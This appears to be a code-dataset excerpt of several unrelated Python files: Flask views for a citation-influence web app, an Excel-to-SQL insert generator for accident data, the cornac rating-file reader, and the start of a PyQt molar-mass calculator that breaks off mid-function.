coauthors=coauthors,\n self_citations=self_citations)\n\n stats = kb_client.get_stats(\n author_ids=author_ids, affiliation_ids=affiliation_ids,\n conference_series_ids=conference_ids, field_of_study_ids=fos_ids,\n journal_ids=journal_ids, paper_ids=paper_ids)\n\n url_base = f\"http://influencemap.ml/submit/?id={doc_id}\"\n\n session = dict(\n author_ids=author_ids, affiliation_ids=affiliation_ids,\n conference_ids=conference_ids, journal_ids=journal_ids,\n fos_ids=fos_ids, paper_ids=paper_ids, flower_name=flower_name,\n url_base=url_base, icoauthor=coauthors, self_cite=self_citations)\n\n rdata = make_response_data(\n flower, stats, is_curated=curated_flag, flower_name=flower_name,\n session=session, selection=dict(\n pub_years=pub_years, cit_years=cit_years, coauthors=coauthors,\n self_citations=self_citations))\n return flask.render_template(\"flower.html\", **rdata)\n\n\n@blueprint.route('/resubmit/', methods=['POST'])\ndef resubmit():\n # option = request.form.get('option')\n # keyword = request.form.get('keyword')\n # flower_config['reference'] = request.form.get('cmp_ref') == 'true'\n # flower_config['num_leaves'] = int(request.form.get('numpetals'))\n # flower_config['order'] = request.form.get('petalorder')\n\n session = json.loads(request.form.get(\"session\"))\n flower_name = session['flower_name']\n author_ids = session['author_ids']\n affiliation_ids = session['affiliation_ids']\n conference_ids = session['conference_ids']\n journal_ids = session['journal_ids']\n fos_ids = session['fos_ids']\n paper_ids = session['paper_ids']\n\n self_citations = request.form.get('selfcite') == 'true'\n coauthors = request.form.get('coauthor') == 'true'\n pub_lower = int(request.form.get('from_pub_year'))\n pub_upper = int(request.form.get('to_pub_year'))\n cit_lower = int(request.form.get('from_cit_year'))\n cit_upper = int(request.form.get('to_cit_year'))\n\n flower = kb_client.get_flower(\n author_ids=author_ids, affiliation_ids=affiliation_ids,\n conference_series_ids=conference_ids, field_of_study_ids=fos_ids,\n journal_ids=journal_ids, paper_ids=paper_ids,\n pub_years=(pub_lower, pub_upper), cit_years=(cit_lower, cit_upper),\n coauthors=coauthors, self_citations=self_citations)\n\n rdata = make_response_data(\n flower, flower_name=flower_name, session=session)\n\n return flask.jsonify(rdata)\n\n\ndef conf_journ_to_display_names(papers):\n conf_journ_ids = {\"ConferenceSeriesIds\": [], \"JournalIds\": []}\n for paper in papers.values():\n if \"ConferenceSeriesId\" in paper: conf_journ_ids[\"ConferenceSeriesIds\"].append(paper[\"ConferenceSeriesId\"])\n if \"JournalId\" in paper: conf_journ_ids[\"JournalIds\"].append(paper[\"JournalId\"])\n conf_journ_display_names = get_conf_journ_display_names(conf_journ_ids)\n for paper in papers.values():\n if \"ConferenceSeriesId\" in paper:\n paper[\"ConferenceName\"] = conf_journ_display_names[\"Conference\"][paper[\"ConferenceSeriesId\"]]\n if \"JournalId\" in paper:\n paper[\"JournalName\"] = conf_journ_display_names[\"Journal\"][paper[\"JournalId\"]]\n return papers\n\n\n@blueprint.route('/get_publication_papers')\ndef get_publication_papers():\n request_data = json.loads(request.form.get(\"data_string\"))\n session = request_data.get(\"session\")\n\n pub_year_min = int(request.form.get(\"pub_year_min\"))\n pub_year_max = int(request.form.get(\"pub_year_max\"))\n paper_ids = session['cache']\n papers = paper_info_db_check_multiquery(paper_ids)\n papers = [paper for paper in papers if (paper[\"Year\"] >= pub_year_min and paper[\"Year\"] <= pub_year_max)]\n papers = conf_journ_to_display_names({paper[\"PaperId\"]: paper for paper in papers})\n return flask.jsonify({\"papers\": papers, \"names\": session[\"entity_names\"]+ session[\"node_info\"]})\n\n\n@blueprint.route('/get_citation_papers')\ndef get_citation_papers():\n # request should contain the ego author ids and the node author ids separately\n request_data = json.loads(request.form.get(\"data_string\"))\n session = request_data.get(\"session\")\n\n cite_year_min = int(request.form.get(\"cite_year_min\"))\n cite_year_max = int(request.form.get(\"cite_year_max\"))\n pub_year_min = int(request.form.get(\"pub_year_min\"))\n pub_year_max = int(request.form.get(\"pub_year_max\"))\n paper_ids = session['cache']\n papers = paper_info_db_check_multiquery(paper_ids)\n cite_papers = [[citation for citation in paper[\"Citations\"] if (citation[\"Year\"] >= cite_year_min and citation[\"Year\"] <= cite_year_max)] for paper in papers if (paper[\"Year\"] >= pub_year_min and paper[\"Year\"] <= pub_year_max)]\n citations = sum(cite_papers,[])\n citations = conf_journ_to_display_names({paper[\"PaperId\"]: paper for paper in citations})\n\n return flask.jsonify({\"papers\": citations, \"names\": session[\"entity_names\"] + session[\"node_info\"],\"node_info\": session[\"node_information_store\"]})\n\n\ndef get_entities(paper):\n ''' Gets the entities of a paper\n '''\n authors = [author[\"AuthorName\"] for author in paper[\"Authors\"]]\n affiliations = [author[\"AffiliationName\"] for author in paper[\"Authors\"] if \"AffiliationName\" in author]\n conferences = [paper[\"ConferenceName\"]] if (\"ConferenceName\" in paper) else []\n journals = [paper[\"JournalName\"]] if (\"JournalName\" in paper) else []\n fieldsofstudy = [fos[\"FieldOfStudyName\"] for fos in paper[\"FieldsOfStudy\"] if fos[\"FieldOfStudyLevel\"] == 1] if (\"FieldsOfStudy\" in paper) else []\n\n return authors, affiliations, conferences, journals, fieldsofstudy\n\n\nNODE_INFO_FIELDS = [\"PaperTitle\", \"Authors\", \"PaperId\", \"Year\", \"ConferenceName\",\n \"ConferenceSeriesId\", \"JournalName\", \"JournalId\"]\n\n\ndef get_node_info_single(entity, entity_type, year_ranges):\n # Determine the citation range\n pub_lower = year_ranges[\"pub_lower\"]\n pub_upper = year_ranges[\"pub_upper\"]\n cit_lower = year_ranges[\"cit_lower\"]\n cit_upper = year_ranges[\"cit_upper\"]\n\n # Get paper to get information from\n request_data = json.loads(request.form.get(\"data_string\"))\n session = request_data.get(\"session\")\n papers = paper_info_db_check_multiquery(session[\"cache\"])\n\n # Get coauthors list to filter\n if session['icoauthor'] == 'false':\n coauthors = session['coauthors']\n else:\n coauthors = list()\n\n # Get self_citation list to filter\n if session['self_cite'] == 'false':\n self = session['entity_names']\n else:\n self = list()\n\n # Results\n papers_to_send = dict()\n links = dict()\n\n for paper in papers:\n # Publication range filter\n if paper[\"Year\"] < pub_lower or paper[\"Year\"] > pub_upper:\n continue\n\n for link_type in [\"References\", \"Citations\"]:\n for rel_paper in paper[link_type]:\n # Citation range filter\n if link_type == \"Citations\" and \\\n (rel_paper[\"Year\"] < cit_lower or rel_paper[\"Year\"] > cit_upper):\n continue\n\n # Get fields\n auth, inst, conf, jour, fos = get_entities(rel_paper)\n fields = dict()\n fields['author'] = set(auth)\n fields['inst'] = set(inst)\n fields['conf'] = set(conf + jour)\n fields['fos'] = set(fos)\n\n check = dict()\n check['author'] = coauthors + self\n check['inst'] = coauthors + self\n check['conf'] = coauthors\n check['fos'] = list()\n\n skip = False\n for n_type, check_val in check.items():\n if not set(check_val).isdisjoint(fields[entity_type]):\n skip = True\n break\n if skip:\n continue\n\n if entity not in fields[entity_type]:\n continue\n\n papers_to_send[paper[\"PaperId\"]] = {k:v for k,v in paper.items() if k in NODE_INFO_FIELDS}\n papers_to_send[paper[\"PaperId\"]] = add_author_order(papers_to_send[paper[\"PaperId\"]])\n\n papers_to_send[rel_paper[\"PaperId\"]] = {k:v for k,v in rel_paper.items() if k in NODE_INFO_FIELDS}\n papers_to_send[rel_paper[\"PaperId\"]] = add_author_order(papers_to_send[rel_paper[\"PaperId\"]])\n\n if link_type == \"Citations\":\n if paper[\"PaperId\"] in links:\n links[paper[\"PaperId\"]][\"reference\"].append(rel_paper[\"PaperId\"])\n else:\n links[paper[\"PaperId\"]] = {\"reference\": [rel_paper[\"PaperId\"]], \"citation\": list()}\n else:\n if paper[\"PaperId\"] in links:\n links[paper[\"PaperId\"]][\"citation\"].append(rel_paper[\"PaperId\"])\n else:\n links[paper[\"PaperId\"]] = {\"citation\": [rel_paper[\"PaperId\"]], \"reference\": list()}\n\n paper_sort_func = lambda x: -papers_to_send[x][\"Year\"]\n links = sorted([{\"citation\": sorted(link[\"citation\"],key=paper_sort_func), \"reference\": sorted(link[\"reference\"],key=paper_sort_func), \"ego_paper\": key} for key, link in links.items()], key=lambda x: paper_sort_func(x[\"ego_paper\"]))\n\n return {\"node_name\": entity, \"node_type\": entity_type, \"node_links\": links, \"paper_info\": papers_to_send}\n\n\n\n@blueprint.route('/get_node_info/', methods=['POST'])\ndef get_node_info():\n request_data = json.loads(request.form.get(\"data_string\"))\n node_name = request_data.get(\"name\")\n node_type = request_data.get(\"node_type\")\n session = request_data.get(\"session\")\n year_ranges = session[\"year_ranges\"]\n flower_name = session[\"flower_name\"]\n\n data = get_node_info_single(node_name, node_type, year_ranges)\n data[\"node_name\"] = node_name\n data[\"flower_name\"] = flower_name\n data[\"max_page\"] = math.ceil(len(data[\"node_links\"]) / 5)\n data[\"node_links\"] = data[\"node_links\"][0:min(5, len(data[\"node_links\"]))]\n return flask.jsonify(data)\n\n\n\n@blueprint.route('/get_next_node_info_page/', methods=['POST'])\ndef get_next_node_info_page():\n request_data = json.loads(request.form.get(\"data_string\"))\n node_name = request_data.get(\"name\")\n node_type = request_data.get(\"node_type\")\n session = request_data.get(\"session\")\n year_ranges = session[\"year_ranges\"]\n page = int(request_data.get(\"page\"))\n\n node_info = get_node_info_single(node_name, node_type, year_ranges)\n page_length = 5\n page_info = {\"paper_info\": node_info[\"paper_info\"], \"node_links\": node_info[\"node_links\"][0+page_length*(page-1):min(page_length*page, len(node_info[\"node_links\"]))]}\n return flask.jsonify(page_info)\n","sub_path":"webapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":19971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"601961593","text":"import pandas as pd\nimport pickle\n\n\n\ndef parser_datos(archivo,columna,tabla,atributos):\n\texcel_prueba = pd.read_excel(archivo+\".xlsx\")\n\tdiccionario = {}\n\tlargo_archivo = len(excel_prueba.index)\n\n\tfile_guardar= open(archivo+\".txt\",\"w+\")\n\n\tfor i in range(largo_archivo):\n\t\tprovincia_texto = excel_prueba.loc[[i]][columna][i]\n\t\tdiccionario[provincia_texto] = i\n\n\t\tfile_guardar.write(\"INSERT INTO %s(%s) VALUES(%d,\\\"%s\\\");\\n\" % (tabla,atributos,i,provincia_texto))\n\n\tf = open(archivo+\".pkl\",\"wb\")\n\tpickle.dump(diccionario,f)\n\tf.close()\n\tfile_guardar.close() \n\t#print(diccionario_distritos)\n\ndef abrir_diccionario(archivo):\n\tfile = open(archivo+\".pkl\", 'rb')\n\tdiccionario_distritos = pickle.load(file)\n\t#print(diccionario_distritos)\n\treturn diccionario_distritos\n\ndef parser_datos_totales(archivo):\n\tdiccionario_distrito = abrir_diccionario(\"distritos\")\n\tdiccionario_provincia = abrir_diccionario(\"provincias\")\n\tdiccionario_canton = abrir_diccionario(\"cantones\")\n\tdiccionario_anho = abrir_diccionario(\"anhos\")\n\tdiccionario_mes = abrir_diccionario(\"meses\")\n\tdiccionario_dia = abrir_diccionario(\"dias\")\n\tdiccionario_rol = abrir_diccionario(\"roles\")\n\tdiccionario_sexo = abrir_diccionario(\"sexos\")\n\tdiccionario_lesion = abrir_diccionario(\"lesiones\")\n\n\texcel_leer = pd.read_excel(archivo+\".xlsx\")\n\tlargo_archivo = len(excel_leer.index)\n\n\tfecha_incidente_guardar= open(\"fecha_incidente.txt\",\"w+\")\n\tlocalizacion_guardar= open(\"localizacion.txt\",\"w+\")\n\tincidente_guardar= open(\"incidente.txt\",\"w+\")\n\tafectado_guardar= open(\"afectado.txt\",\"w+\")\n\n\tfor i in range(largo_archivo):\n\t\tdia_excel = excel_leer.loc[[i]][\"Día\"][i]\n\t\tmes_excel = excel_leer.loc[[i]][\"Mes\"][i]\n\t\tanho_excel = excel_leer.loc[[i]][\"Año\"][i]\n\n\t\tdia_numero_tabla = diccionario_dia[dia_excel]\n\t\tmes_numero_tabla = diccionario_mes[mes_excel]\n\t\tanho_numero_tabla = diccionario_anho[anho_excel]\n\n\t\tinsercion_fecha_incidente = \"INSERT INTO FechaIncidente(codigoFechaIncidente,codigoAnho,codigoMes,codigoDia) VALUES(%d,%d,%d,%d);\\n\"%(i,anho_numero_tabla,mes_numero_tabla,dia_numero_tabla)\n\n\t\tfecha_incidente_guardar.write(insercion_fecha_incidente)\n\n\t\tprovincia_excel = excel_leer.loc[[i]][\"Provincia\"][i]\n\t\tcanton_excel = excel_leer.loc[[i]][\"Cantón\"][i]\n\t\tdistrito_excel = excel_leer.loc[[i]][\"Distrito\"][i]\n\n\t\tprovincia_numero_tabla = diccionario_provincia[provincia_excel]\n\t\tcanton_numero_tabla = diccionario_canton[canton_excel]\n\t\tdistrito_numero_tabla = diccionario_distrito[distrito_excel]\n\n\t\tinsercion_localizacion = \"INSERT INTO Localizacion(codigoLocalizacion,codigoProvincia,codigoCanton,codigoDistrito) VALUES(%d,%d,%d,%d);\\n\"%(i,provincia_numero_tabla,canton_numero_tabla,distrito_numero_tabla)\n\n\t\tlocalizacion_guardar.write(insercion_localizacion)\n\n\t\trol_excel = excel_leer.loc[[i]][\"Rol\"][i]\n\t\tsexo_excel = excel_leer.loc[[i]][\"Sexo\"][i]\n\t\tlesion_excel = excel_leer.loc[[i]][\"Tipo de Lesión\"][i]\n\t\tedad_excel = excel_leer.loc[[i]][\"Edad\"][i]\n\t\tedad_quinquenal_excel = excel_leer.loc[[i]][\"Edadquinquenal\"][i]\n\n\t\trol_numero_tabla = diccionario_rol[rol_excel]\n\t\tsexo_numero_tabla = diccionario_sexo[sexo_excel]\n\t\tlesion_numero_tabla = diccionario_lesion[lesion_excel]\n\n\t\tinsercion_afectado = \"INSERT INTO Afectado(codigoAfectado,codigoRol,codigoSexo,codigoLesion,edad,edadQuinquenal) VALUES(%d,%d,%d,%d,\\\"%s\\\",\\\"%s\\\");\\n\"%(i,rol_numero_tabla,sexo_numero_tabla,lesion_numero_tabla,edad_excel,edad_quinquenal_excel)\n\n\t\tafectado_guardar.write(insercion_afectado)\n\n\t\tinsercion_incidente = \"INSERT INTO Incidente(codigoRegistro,codigoLocalizacion,codigoFecha,codigoAfectado) VALUES(%d,%d,%d,%d);\\n\"%((i+1),i,i,i)\n\n\t\tincidente_guardar.write(insercion_incidente)\n\n\tfecha_incidente_guardar.close()\n\tlocalizacion_guardar.close()\n\tincidente_guardar.close()\n\tafectado_guardar.close()\n\ndef parser_datos_totales_forma2(archivo):\n\tdiccionario_distrito = abrir_diccionario(\"distritos\")\n\tdiccionario_provincia = abrir_diccionario(\"provincias\")\n\tdiccionario_canton = abrir_diccionario(\"cantones\")\n\tdiccionario_anho = abrir_diccionario(\"anhos\")\n\tdiccionario_mes = abrir_diccionario(\"meses\")\n\tdiccionario_dia = abrir_diccionario(\"dias\")\n\tdiccionario_rol = abrir_diccionario(\"roles\")\n\tdiccionario_sexo = abrir_diccionario(\"sexos\")\n\tdiccionario_lesion = abrir_diccionario(\"lesiones\")\n\n\texcel_leer = pd.read_excel(archivo+\".xlsx\")\n\tlargo_archivo = len(excel_leer.index)\n\n\tfecha_incidente_guardar= open(\"fecha_incidente.txt\",\"w+\")\n\tlocalizacion_guardar= open(\"localizacion.txt\",\"w+\")\n\tincidente_guardar= open(\"incidente.txt\",\"w+\")\n\tafectado_guardar= open(\"afectado.txt\",\"w+\")\n\n\tprimer_linea_fecha_incidente = \"INSERT INTO FechaIncidente(codigoFechaIncidente,codigoAnho,codigoMes,codigoDia) VALUES\"\n\tfecha_incidente_guardar.write(primer_linea_fecha_incidente)\n\n\tprimer_linea_localizacion = \"INSERT INTO Localizacion(codigoLocalizacion,codigoProvincia,codigoCanton,codigoDistrito) VALUES\"\n\tlocalizacion_guardar.write(primer_linea_localizacion)\n\n\tprimer_linea_afectado = \"INSERT INTO Afectado(codigoAfectado,codigoRol,codigoSexo,codigoLesion,edad,edadQuinquenal) VALUES\"\n\tafectado_guardar.write(primer_linea_afectado)\n\n\tprimer_linea_incidente = \"INSERT INTO Incidente(codigoRegistro,codigoLocalizacion,codigoFechaIncidente,codigoAfectado) VALUES\"\n\tincidente_guardar.write(primer_linea_incidente)\n\tfor i in range(largo_archivo):\n\t\tdia_excel = excel_leer.loc[[i]][\"Día\"][i]\n\t\tmes_excel = excel_leer.loc[[i]][\"Mes\"][i]\n\t\tanho_excel = excel_leer.loc[[i]][\"Año\"][i]\n\n\t\tdia_numero_tabla = diccionario_dia[dia_excel]\n\t\tmes_numero_tabla = diccionario_mes[mes_excel]\n\t\tanho_numero_tabla = diccionario_anho[anho_excel]\n\n\t\tif (i+1 == largo_archivo):\n\t\t\tinsercion_fecha_incidente = \"(%d,%d,%d,%d);\\n\"%(i,anho_numero_tabla,mes_numero_tabla,dia_numero_tabla)\n\t\telse:\n\t\t\tinsercion_fecha_incidente = \"(%d,%d,%d,%d),\\n\"%(i,anho_numero_tabla,mes_numero_tabla,dia_numero_tabla)\n\n\t\tfecha_incidente_guardar.write(insercion_fecha_incidente)\n\n\t\tprovincia_excel = excel_leer.loc[[i]][\"Provincia\"][i]\n\t\tcanton_excel = excel_leer.loc[[i]][\"Cantón\"][i]\n\t\tdistrito_excel = excel_leer.loc[[i]][\"Distrito\"][i]\n\n\t\tprovincia_numero_tabla = diccionario_provincia[provincia_excel]\n\t\tcanton_numero_tabla = diccionario_canton[canton_excel]\n\t\tdistrito_numero_tabla = diccionario_distrito[distrito_excel]\n\n\t\tif (i+1 == largo_archivo):\n\t\t\tinsercion_localizacion = \"(%d,%d,%d,%d);\\n\"%(i,provincia_numero_tabla,canton_numero_tabla,distrito_numero_tabla)\n\t\telse:\n\t\t\tinsercion_localizacion = \"(%d,%d,%d,%d),\\n\"%(i,provincia_numero_tabla,canton_numero_tabla,distrito_numero_tabla)\n\n\t\tlocalizacion_guardar.write(insercion_localizacion)\n\n\t\trol_excel = excel_leer.loc[[i]][\"Rol\"][i]\n\t\tsexo_excel = excel_leer.loc[[i]][\"Sexo\"][i]\n\t\tlesion_excel = excel_leer.loc[[i]][\"Tipo de Lesión\"][i]\n\t\tedad_excel = excel_leer.loc[[i]][\"Edad\"][i]\n\t\tedad_quinquenal_excel = excel_leer.loc[[i]][\"Edadquinquenal\"][i]\n\n\t\trol_numero_tabla = diccionario_rol[rol_excel]\n\t\tsexo_numero_tabla = diccionario_sexo[sexo_excel]\n\t\tlesion_numero_tabla = diccionario_lesion[lesion_excel]\n\n\t\tif (i+1 == largo_archivo):\n\t\t\tinsercion_afectado = \"(%d,%d,%d,%d,\\\"%s\\\",\\\"%s\\\");\\n\"%(i,rol_numero_tabla,sexo_numero_tabla,lesion_numero_tabla,edad_excel,edad_quinquenal_excel)\n\t\telse:\n\t\t\tinsercion_afectado = \"(%d,%d,%d,%d,\\\"%s\\\",\\\"%s\\\"),\\n\"%(i,rol_numero_tabla,sexo_numero_tabla,lesion_numero_tabla,edad_excel,edad_quinquenal_excel)\n\n\t\tafectado_guardar.write(insercion_afectado)\t\n\n\t\tif (i+1 == largo_archivo):\n\t\t\tinsercion_incidente = \"(%d,%d,%d,%d);\\n\"%((i+1),i,i,i)\n\t\telse:\n\t\t\tinsercion_incidente = \"(%d,%d,%d,%d),\\n\"%((i+1),i,i,i)\n\n\t\tincidente_guardar.write(insercion_incidente)\n\n\tfecha_incidente_guardar.close()\n\tlocalizacion_guardar.close()\n\tincidente_guardar.close()\n\tafectado_guardar.close()\n\n\n\ndef parser_datos_tabla_completa(archivo):\n\n\texcel_leer = pd.read_excel(archivo+\".xlsx\")\n\tlargo_archivo = len(excel_leer.index)\n\n\ttabla_total_1_guardar= open(\"tabla_dios1.txt\",\"w+\")\n\ttabla_total_2_guardar= open(\"tabla_dios2.txt\",\"w+\")\n\n\tprimer_linea_tabla_total = \"INSERT INTO IncidenteCompleto(codigoRegistro,nombreProvincia,nombreCanton,nombreDistrito,nombreDia,nombreMes,nombreAnho,nombreRol,nombreSexo,nombreLesion,edad,edadQuinquenal) VALUES\"\n\ttabla_total_1_guardar.write(primer_linea_tabla_total)\n\ttabla_total_2_guardar.write(primer_linea_tabla_total)\n\n\tlargo_1 = largo_archivo//2\n\n\tlargo_2 = (largo_archivo//2)+(largo_archivo%2)\n\n\tcontador = 0\n\n\tfor i in range(largo_1):\n\t\t\n\t\tprovincia_excel = excel_leer.loc[[i]][\"Provincia\"][i]\n\t\tcanton_excel = excel_leer.loc[[i]][\"Cantón\"][i]\n\t\tdistrito_excel = excel_leer.loc[[i]][\"Distrito\"][i]\n\t\tdia_excel = excel_leer.loc[[i]][\"Día\"][i]\n\t\tmes_excel = excel_leer.loc[[i]][\"Mes\"][i]\n\t\tanho_excel = excel_leer.loc[[i]][\"Año\"][i]\n\t\trol_excel = excel_leer.loc[[i]][\"Rol\"][i]\n\t\tsexo_excel = excel_leer.loc[[i]][\"Sexo\"][i]\n\t\tlesion_excel = excel_leer.loc[[i]][\"Tipo de Lesión\"][i]\n\t\tedad_excel = excel_leer.loc[[i]][\"Edad\"][i]\n\t\tedad_quinquenal_excel = excel_leer.loc[[i]][\"Edadquinquenal\"][i]\n\n\t\t\n\t\tinsercion_tabla_zeus = \"(%d,\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",\\\"%s\\\"),\\n\"%((contador+1),provincia_excel,canton_excel,distrito_excel,dia_excel,mes_excel,anho_excel,rol_excel,sexo_excel,lesion_excel,edad_excel,edad_quinquenal_excel)\n\n\t\ttabla_total_1_guardar.write(insercion_tabla_zeus)\n\n\t\tcontador +=1\n\n\tfor i in range(largo_2):\n\t\t\n\t\tprovincia_excel = excel_leer.loc[[i+contador]][\"Provincia\"][i+contador]\n\t\tcanton_excel = excel_leer.loc[[i+contador]][\"Cantón\"][i+contador]\n\t\tdistrito_excel = excel_leer.loc[[i+contador]][\"Distrito\"][i+contador]\n\t\tdia_excel = excel_leer.loc[[i+contador]][\"Día\"][i+contador]\n\t\tmes_excel = excel_leer.loc[[i+contador]][\"Mes\"][i+contador]\n\t\tanho_excel = excel_leer.loc[[i+contador]][\"Año\"][i+contador]\n\t\trol_excel = excel_leer.loc[[i+contador]][\"Rol\"][i+contador]\n\t\tsexo_excel = excel_leer.loc[[i+contador]][\"Sexo\"][i+contador]\n\t\tlesion_excel = excel_leer.loc[[i+contador]][\"Tipo de Lesión\"][i+contador]\n\t\tedad_excel = excel_leer.loc[[i+contador]][\"Edad\"][i+contador]\n\t\tedad_quinquenal_excel = excel_leer.loc[[i+contador]][\"Edadquinquenal\"][i+contador]\n\n\t\t\n\t\tinsercion_tabla_zeus = \"(%d,\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",%s,\\\"%s\\\"),\\n\"%((i+contador+1),provincia_excel,canton_excel,distrito_excel,dia_excel,mes_excel,anho_excel,rol_excel,sexo_excel,lesion_excel,edad_excel,edad_quinquenal_excel)\n\n\t\ttabla_total_2_guardar.write(insercion_tabla_zeus)\n\n\n\n\ttabla_total_1_guardar.close()\n\ttabla_total_2_guardar.close()\n\n\n\ndef divirdirArchivo(archivo):\n\tarchivo_divir = open(archivo, \"r\")\n\t\n\tline = archivo_divir.readline()\n\tcontador_parte = 0\n\n\tparte1 = open(\"parte1_division.txt\",\"w+\")\n\tparte2 = open(\"parte2_division.txt\",\"w+\")\n\tparte3 = open(\"parte3_division.txt\",\"w+\")\n\tparte4 = open(\"parte4_division.txt\",\"w+\")\n\n\tparte1.write(line)\n\tparte2.write(line)\n\tparte3.write(line)\n\tparte4.write(line)\n\n\tline = archivo_divir.readline()\n\n\twhile line:\n\t\tif (contador_parte == 0):\n\t\t\tparte1.write(line)\n\t\t\tcontador_parte+=1\n\t\telif(contador_parte == 1):\n\t\t\tparte2.write(line)\n\t\t\tcontador_parte+=1\n\t\telif(contador_parte == 2):\n\t\t\tparte3.write(line)\n\t\t\tcontador_parte+=1\n\t\telse:\n\t\t\tparte4.write(line)\n\t\t\tcontador_parte = 0\n\t\tline = archivo_divir.readline()\n\n\tparte1.close()\n\tparte2.close()\n\tparte3.close()\n\tparte4.close()\n\tarchivo_divir.close()\n\n \n\n\ndivirdirArchivo(\"tabla_dios2.txt\")\n #array = []\n #for line in ins:\n # array.append(line)'''\n#INSERT INTO Dia(codigoDia,nombreDia) VALUES(3,\"PRUEBA\")\n\n#print(excel_prueba[0])\n#abrir_diccionario(\"diccionario_distritos\")\n\n#parser_datos(\"distritos\",\"Distritos\",\"Distrito\",\"codigoDistrito,nombreDistrito\")\n#parser_datos(\"cantones\",\"Canton\",\"Canton\",\"codigoCanton,nombreCanton\")\n#parser_datos(\"dias\",\"Dia\",\"Dia\",\"codigoDia,nombreDia\")\n#parser_datos(\"meses\",\"Mes\",\"Mes\",\"codigoMes,nombreMes\")\n#parser_datos(\"anhos\",\"Anho\",\"Anho\",\"codigoAnho,nombreAnho\")\n#parser_datos(\"roles\",\"Rol\",\"Rol\",\"codigoRol,nombreRol\")\n#parser_datos(\"lesiones\",\"Lesion\",\"Lesion\",\"codigoLesion,nombreLesion\")\n#parser_datos(\"sexos\",\"Sexo\",\"Sexo\",\"codigoSexo,nombreSexo\")\n#parser_datos(\"provincias\",\"Provincia\",\"Provincia\",\"codigoProvincia,nombreProvincia\")\n\n#parser_datos_totales(\"acc1\")\n#parser_datos_totales_forma2(\"acc1\")\n\n#parser_datos_tabla_completa(\"acc1\")\n#divirdirArchivo(\"tabla_dios1.txt\")\n#print(\"Column headings:\")\n#print(excel_prueba.columns)\n","sub_path":"generacion_inserts_base_datos/prueba_excel.py","file_name":"prueba_excel.py","file_ext":"py","file_size_in_byte":12273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"46966840","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n@author: Quoc-Tuan Truong \n\"\"\"\n\nimport itertools\n\n\ndef read_uir(fpath, u_col=0, i_col=1, r_col=2, sep='\\t', skip_lines=0):\n \"\"\"Read data in the form of triplets (user, item, rating).\n\n Parameters\n ----------\n fpath: str\n Path to the data file\n\n u_col: int, default: 0\n Index of the user column\n\n i_col: int, default: 1\n Index of the item column\n\n r_col: int, default: 2\n Index of the rating column\n\n sep: str, default: \\t\n The delimiter string.\n\n skip_lines: int, default: 0\n Number of first lines to skip\n\n Returns\n -------\n triplets: :obj:`iterable`\n Data in the form of list of tuples of (user, item, rating).\n\n \"\"\"\n triplets = []\n with open(fpath, 'r') as f:\n for line in itertools.islice(f, skip_lines, None):\n tokens = [token.strip() for token in line.split(sep)]\n triplets.append((tokens[u_col], tokens[i_col], float(tokens[r_col])))\n return triplets\n\n\ndef read_ui(fpath, value=1.0, sep='\\t', skip_lines=0):\n \"\"\"Read data in the form of implicit feedback user-items.\n Each line starts with user id followed by multiple of item ids.\n\n Parameters\n ----------\n fpath: str\n Path to the data file\n\n value: float, default: 1.0\n Value for the feedback\n\n sep: str, default: \\t\n The delimiter string.\n\n skip_lines: int, default: 0\n Number of first lines to skip\n\n Returns\n -------\n triplets: :obj:`iterable`\n Data in the form of list of tuples of (user, item, 1).\n\n \"\"\"\n triplets = []\n with open(fpath, 'r') as f:\n for line in itertools.islice(f, skip_lines, None):\n tokens = [token.strip() for token in line.split(sep)]\n triplets.extend([tokens[0], iid, value] for iid in tokens[1:])\n return triplets","sub_path":"cornac/data/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"198977640","text":"import sys\r\nimport math\r\n\r\nfrom PyQt5 import QtCore, QtWidgets\r\nfrom PyQt5.QtWidgets import QMainWindow, QWidget, QLabel, QLineEdit, QApplication, QWidget\r\nfrom PyQt5.QtWidgets import QPushButton\r\nfrom PyQt5.QtCore import QSize\r\nfrom PyQt5.QtGui import QIcon\r\nimport sqlite3\r\nimport re\r\n\r\n\r\ncon = sqlite3.connect(\"chemi.db\")\r\ncon.row_factory = sqlite3.Row\r\ncur = con.cursor()\r\n\r\n\r\ndef find_atom(simbol):\r\n # функция которая с помощью магии ищет масу атома в БД и возвращает её\r\n cur.execute('SELECT * FROM chemical')\r\n simbol = (simbol,)\r\n sql_find = 'SELECT Weight FROM Chemical WHERE simbol=?'\r\n cur.execute(sql_find, simbol)\r\n simbol_notes = cur.fetchone()\r\n atom = simbol_notes['Weight']\r\n float(atom)\r\n return atom\r\n\r\n\r\ndef moll_mass(k):\r\n formula = k\r\n\r\n sFormula = formula\r\n\r\n # print(\"Original Formula: \", sFormula)\r\n\r\n # Search data inside()\r\n\r\n myRegEx = re.compile(r\"(\\()(\\w*)(\\))(\\d*)\", re.I)\r\n\r\n myMatches = myRegEx.findall(sFormula)\r\n\r\n while myMatches:\r\n myMatches = myRegEx.findall(sFormula)\r\n for match in myMatches:\r\n # print(match[1], match[3])\r\n count = match[3]\r\n text = \"\"\r\n if count == \"\":\r\n count = 1\r\n else:\r\n count = int(match[3])\r\n while count >= 1:\r\n text = text + match[1]\r\n count -= 1\r\n # print(text)\r\n sFormula = sFormula.replace('(' + match[1] + ')' + match[3], text)\r\n # print(\"Replaced formula: \", sFormula)\r\n\r\n myRegEx = re.compile(\"(C[laroudsemf]?|Os?|N[eaibdpos]?|S[icernbmg]?\"\r\n \"|P[drmtboau]?|H[eofgas]?|A[lrsgutcm]|B[eraik]?|Dy|E[urs]|F[erm]?|G\"\r\n \"[\"\"aed]|I[nr]?|Kr?|L[iaur]|M[gnodt]|R[buhenaf]|T[icebmalh]|U|V|W|Xe|Yb?|Z[nr])(\\d*)\")\r\n\r\n myMatches = myRegEx.findall(sFormula)\r\n\r\n molecularFormula = \"\"\r\n MW = 0\r\n text = \"\"\r\n\r\n for match in myMatches:\r\n # 